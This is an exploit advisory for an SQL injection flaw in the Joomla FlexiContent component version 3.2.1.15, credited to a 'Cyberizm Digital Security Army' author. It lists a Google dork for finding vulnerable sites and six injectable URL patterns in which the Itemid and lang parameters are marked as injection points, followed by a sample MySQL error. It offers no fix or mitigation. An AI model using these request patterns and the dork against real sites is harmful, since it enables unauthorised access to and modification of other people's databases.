Joomla FlexiContent 3.2.1.15 SQL Injection

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# Exploit Title : Joomla FlexiContent Components 3.2.1.15 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 25/02/2019  
# Vendor Homepage : flexicontent.org  
# Software Download Link : github.com/FLEXIcontent/flexicontent-cck/archive/v3.2.1.15.zip  
# Software Information Link : extensions.joomla.org/extension/flexicontent/  
# Software Version : 1.5 and v3.2.1.15 and other previous versions  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_flexicontent''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
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FLEXIcontent is an advanced content management system developed to   
  
greatly enhance the native content managenent of Joomla!  
  
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# Impact :  
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Joomla FlexiContent Components 3.2.1.15 [ and other versions ] component for Joomla is prone to an SQL-injection   
  
vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit l  
  
atent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request t  
  
o the vulnerable application and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_flexicontent&Itemid=[SQL Injection]&lang=en  
  
/index.php?option=com_flexicontent&view=flexicontent&lang=[SQL Injection]  
  
/index.php?option=com_flexicontent&view=items&cid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_flexicontent&view=items&cid=[ID-NUMBER]:[FOLDER-NAME]&id=[ID-NUMBER]:[TOPIC-NAME]-&Itemid=[SQL Injection]  
  
/index.php?view=items&cid=[ID-NUMBER]%3A[FOLDER-NAME]&id=[ID-NUMBER]%3[TOPIC-NAME]&format=pdf&option=com_flexicontent&Itemid=[SQL Injection]  
  
/index.php?view=items&cid=[ID-NUMBER]%3A[YEAR]-[MONTH]-[DAY]-[ID-NUMBER]-[ID-NUMBER]-[ID-NUMBER]&id=[ID-NUMBER]%3A[YEAR]-[MONTH]-[DAY]-[ID-NUMBER]-[ID-NUMBER]-[ID-NUMBER]&format=pdf&option=com_flexicontent&Itemid=[SQL Injection]  
  
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# Example SQL Database Error :   
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No valid database connection You have an error in your SQL syntax; check the manual that   
corresponds to your MySQL server version for the right syntax to use near 'AND  
c.access No valid database connection You have an error in your SQL syntax;   
check the manual that corresponds to your MySQL server version  
for the right syntax to use near 'AND c.access  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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